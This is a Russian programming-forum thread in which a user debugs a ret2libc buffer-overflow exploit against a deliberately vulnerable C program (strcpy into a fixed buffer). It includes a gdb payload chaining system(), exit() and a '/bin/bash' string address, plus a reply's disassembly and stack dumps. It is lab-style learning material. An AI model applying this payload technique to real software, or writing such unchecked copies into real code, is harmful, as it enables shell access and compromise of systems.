Форум программистов, компьютерный форум, киберфорум
C/С++ под Linux
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.86/7: Рейтинг темы: голосов - 7, средняя оценка - 4.86
 Аватар для Charley
5 / 5 / 2
Регистрация: 11.06.2012
Сообщений: 192

Переполнение буфера ret2libc

11.07.2013, 07:28. Показов 1451. Ответов 2
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Пытаюсь передать управление шеллу по технике переполнения буфера ret2libc
Уязвимая программа:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
 
void evil(char* input)
{
        char buffer[500];
        strcpy(buffer, input); // Vulnerable function!
        printf("Buffer stored!\n");
        printf("Buffer is: %s\n\n",input);
}
 
int main(int argc, char** argv)
{
        evil(argv[1]);
        return 0;
}
Все сделал по инструкции, но gdb выдает исключение:
Bash
1
2
3
4
5
6
7
8
9
10
11
(gdb) run $(python -c 'print "\x90" * 512 + "\x19\xe1\xea\xb7" + "\x0f\x42\xea\xb7" + "\x96\xf7\xff\xbf"') The program being debugged has been started already. Start it from the beginning? (y or n) y
 
Starting program: /root/ret2libc.out $(python -c 'print "\x90" * 512 + "\x19\xe1\xea\xb7" + "\x0f\x42\xea\xb7" + "\x96\xf7\xff\xbf"') Buffer stored! Buffer is: пїЅпїЅпїЅD
 
Program received signal SIGSEGV, Segmentation fault. 0xb7fca043 in ?? () from /lib/tls/i686/cmov/libc.so.6 
(gdb) x/s 0xb7ea420f 
0xb7ea420f <exit+15>: "\203\354\024\307D$\b\001" 
(gdb) x/s 0xb7eae119 
0xb7eae119 <system+25>: "\211|$\b\205\366t\037e\241\f" 
(gdb) x/s 0xbffff796 
0xbffff796: "/bin/bash"
Может кто-нибудь знает куда копать? ос: backtrack 5 r2
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
11.07.2013, 07:28
Ответы с готовыми решениями:

Переполнение буфера
Дали на правку одно больше приложение. Ошибка возникает очень редко, через стандартный отладчик выводит те места, где её впринципе быть не...

Переполнение буфера: что тут происходит?
Добрый вечер; у меня есть уязвимая программа, которая в буфер длиной 30 копирует строку, переданную как аргумент этой программе. Делал по...

Обработка переполнения буфера
Нужно при помощи переполнения стека проскочить вызов MessageBox &quot;до переполнения&quot; и сразу вызвать MessageBox &quot;после...

2
11 / 11 / 3
Регистрация: 18.03.2010
Сообщений: 45
12.07.2013, 12:30
Вы в gdb запускаете программу без параметров(предположение моё):
а надо:
gdb "./crack test"

Можете сначала проверить и без gdb.

Добавлено через 26 минут
Попробовал под CentOS.
Таких ошибок нет.

[bag@bag TMP]$ gdb ./crack
GNU gdb (GDB) Red Hat Enterprise Linux (7.2-60.el6_4.1)
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/bag/TMP/TMP/crack...done.
(gdb) disas main
Dump of assembler code for function main:
0x08048464 <+0>: push %ebp
0x08048465 <+1>: mov %esp,%ebp
0x08048467 <+3>: and $0xfffffff0,%esp
0x0804846a <+6>: sub $0x10,%esp
0x0804846d <+9>: mov 0xc(%ebp),%eax
0x08048470 <+12>: add $0x4,%eax
0x08048473 <+15>: mov (%eax),%eax
0x08048475 <+17>: mov %eax,(%esp)
0x08048478 <+20>: call 0x8048424 <evil>
0x0804847d <+25>: mov $0x0,%eax
0x08048482 <+30>: leave
0x08048483 <+31>: ret
End of assembler dump.
(gdb) b *0x08048478
Breakpoint 1 at 0x8048478: file crack.c, line 14.
(gdb) disas evil
Dump of assembler code for function evil:
0x08048424 <+0>: push %ebp
0x08048425 <+1>: mov %esp,%ebp
0x08048427 <+3>: sub $0x218,%esp
0x0804842d <+9>: mov 0x8(%ebp),%eax
0x08048430 <+12>: mov %eax,0x4(%esp)
0x08048434 <+16>: lea -0x1fc(%ebp),%eax
0x0804843a <+22>: mov %eax,(%esp)
0x0804843d <+25>: call 0x8048334 <strcpy@plt>
0x08048442 <+30>: movl $0x8048554,(%esp)
0x08048449 <+37>: call 0x8048354 <puts@plt>
0x0804844e <+42>: mov $0x8048563,%eax
0x08048453 <+47>: mov 0x8(%ebp),%edx
0x08048456 <+50>: mov %edx,0x4(%esp)
0x0804845a <+54>: mov %eax,(%esp)
0x0804845d <+57>: call 0x8048344 <printf@plt>
0x08048462 <+62>: leave
0x08048463 <+63>: ret
End of assembler dump.
(gdb) b *0x08048463
Breakpoint 2 at 0x8048463: file crack.c, line 10.
(gdb) run $(python -c 'print '\x41' * 508')
Starting program: /home/bag/TMP/TMP/crack $(python -c 'print '\x41' * 508')
Traceback (most recent call last):
File "<string>", line 1, in <module>
NameError: name 'x41' is not defined

Breakpoint 1, 0x08048478 in main (argc=1, argv=0xbffff404) at crack.c:14
14 evil(argv[1]);
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.107.el6.i686
(gdb) stepi
evil (input=0x0) at crack.c:5
5 {
(gdb) info registers esp
esp 0xbffff33c 0xbffff33c
(gdb) x/30x 0xbffff33c - 32
0xbffff31c: 0x08048300 0x00200000 0x080496f4 0xbffff358
0xbffff32c: 0x080484b9 0x002cb1e4 0x08048258 0x002cdce0
0xbffff33c: 0x0804847d 0x00000000 0x08048370 0x080484ab
0xbffff34c: 0x002ccff4 0x080484a0 0x00000000 0xbffff3d8
0xbffff35c: 0x00150ce6 0x00000001 0xbffff404 0xbffff40c
0xbffff36c: 0xb7fff3d0 0x08048370 0xffffffff 0x00136fc4
0xbffff37c: 0x08048258 0x00000001 0xbffff3c0 0x00126a05
0xbffff38c: 0x00137ab0 0xb7fff6b0
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x001b3620 in strcpy () from /lib/libc.so.6
(gdb) bt f
#0 0x001b3620 in strcpy () from /lib/libc.so.6
No symbol table info available.
#1 0x08048442 in evil (input=0x0) at crack.c:7
buffer = "\000\000\000\000\334\361\377\277\034u\0 23\000\304o\023\000\237\062\022\000\000` \023\000\000\020\000\000\001\000\000\000 \304o\023\000\000\000\000\000 \362\377\277e8\022\000\260z\023\000\000\ 371\377\267\001\000\000\000\001\000\000\ 000\000\000\000\000\001\000\000\000\020\ 362\377\277`\361\377\277\360\353\022\000 \000\000\000\000\234,\023\000\374\361\37 7\277\360\353\022\000\234,\023\000+\025\ 023\000\224\204\021\000\034u\023\000\374 \361\377\277\022\206\021\000\002\000\377 \277H\342\022\000\210\000\000\000\304o\0 23\000\000\000\000\000Ԃ\021\000\064\203\ 021\000\a", '\000' <repeats 15 times>, "B\027\022\000\273\310\024\000j\202\004\ b\260\366\377\267\002\000\377\267\375x\0 22\000,\202\004\b\340{\023\000\304o\023\ 000\314\333\023\000\001\000\000\000\274\ 362\377\277\326\036\022\000\037/\001\000\304o\023\000X\363\377\277\n\271 \021\000\034u\023\000\260z\023", '\000' <repeats 33 times>"\200, \366\377\267\000\000\000\000h\001\021\00 0\324\335\023\000\200+\023\000\204\362\3 77\277Dg\024\000\016\000\000\000q\352".. .
#2 0x0804847d in main (argc=1, argv=0xbffff404) at crack.c:14
No locals.
(gdb) run $(python -c 'print "\x41" * 508')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/bag/TMP/TMP/crack $(python -c 'print "\x41" * 508')

Breakpoint 1, 0x08048478 in main (argc=2, argv=0xbffff204) at crack.c:14
14 evil(argv[1]);
(gdb) stepi
evil (input=0xbffff3ab 'A' <repeats 200 times>...) at crack.c:5
5 {
(gdb) info registers esp
esp 0xbffff13c 0xbffff13c
(gdb) x/30x 0xbffff13c - 32
0xbffff11c: 0x08048300 0x00200000 0x080496f4 0xbffff158
0xbffff12c: 0x080484b9 0x002cb1e4 0x08048258 0x002cdce0
0xbffff13c: 0x0804847d 0xbffff3ab 0x08048370 0x080484ab
0xbffff14c: 0x002ccff4 0x080484a0 0x00000000 0xbffff1d8
0xbffff15c: 0x00150ce6 0x00000002 0xbffff204 0xbffff210
0xbffff16c: 0xb7fff3d0 0x08048370 0xffffffff 0x00136fc4
0xbffff17c: 0x08048258 0x00000001 0xbffff1c0 0x00126a05
0xbffff18c: 0x00137ab0 0xb7fff6b0
(gdb) c
Continuing.
Buffer stored!
Buffer is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA


Breakpoint 2, 0x08048463 in evil (input=can't compute CFA for this frame
) at crack.c:10
10 }
0
 Аватар для Charley
5 / 5 / 2
Регистрация: 11.06.2012
Сообщений: 192
12.07.2013, 16:31  [ТС]
Цитата Сообщение от Alekseyka2 Посмотреть сообщение
Вы в gdb запускаете программу без параметров(предположение моё):
а надо:
gdb "./crack test"
Дело в том, что после команды run у меня идут параметры. Покажите как у вас произошла передача управления шеллу в centos. Какие системные вызовы вы использовали?
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
12.07.2013, 16:31
Помогаю со студенческими работами здесь

переполнение буфера
https://www.cyberforum.ru/c-beginners/thread805450.html#post4238113 Есть буфер размера X и натуральное число N. В X записываются цифры...

Переполнение буфера
В программе имеется форма и записывается текстовые файлы. Когда она запускается всё работает нормально, ProgressBar доходит до...

Переполнение буфера
Помогите разобраться Лабораторная с переполнением буфера Вот сам код программы и скриншот результата #include &lt;stdio.h&gt; ...

Переполнение буфера
Добрый день! В общем: #include &quot;stdafx.h&quot; #include &lt;iostream&gt; using namespace std; int main(int argc, char* argv) { ...

переполнение буфера
Что такое переполнение буфера?


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
3
Ответ Создать тему
Новые блоги и статьи
Уведомление о неверно выбранном значении справочника
Maks 06.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "НарядПутевка", разработанного в конфигурации КА2. Задача: уведомлять пользователя, если в документе выбран неверный склад. . .
Установка Qt Creator для C и C++: ставим среду, CMake и MinGW без фреймворка Qt
8Observer8 05.04.2026
Среду разработки Qt Creator можно установить без фреймворка Qt. Есть отдельный репозиторий для этой среды: https:/ / github. com/ qt-creator/ qt-creator, где можно скачать установщик, на вкладке Releases:. . .
AkelPad-скрипты, структуры, и немного лирики..
testuser2 05.04.2026
Такая программа, как AkelPad существует уже давно, и также давно существуют скрипты под нее. Тем не менее, прога живет, периодически что-то не спеша дополняется, улучшается. Что меня в первую очередь. . .
Отображение реквизитов в документе по условию и контроль их заполнения
Maks 04.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "ПланированиеСпецтехники", разработанного в конфигурации КА2. Данный документ берёт данные из другого нетипового документа. . .
Фото всей Земли с борта корабля Orion миссии Artemis II
kumehtar 04.04.2026
Это первое подобное фото сделанное человеком за 50 лет. Снимок называют новым вариантом легендарной фотографии «The Blue Marble» 1972 года, сделанной с борта корабля «Аполлон-17». Новое фото. . .
Вывод диалогового окна перед закрытием, если документ не проведён
Maks 04.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: реализовать программный контроль на предмет проведения документа. . .
Программный контроль заполнения реквизитов табличной части документа
Maks 02.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "СписаниеМатериалов", разработанного в конфигурации КА2. Задача: 1. Реализовать контроль заполнения реквизита. . .
wmic не является внутренней или внешней командой
Maks 02.04.2026
Решение: DISM / Online / Add-Capability / CapabilityName:WMIC~~~~ Отсюда: https:/ / winitpro. ru/ index. php/ 2025/ 02/ 14/ komanda-wmic-ne-naydena/
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru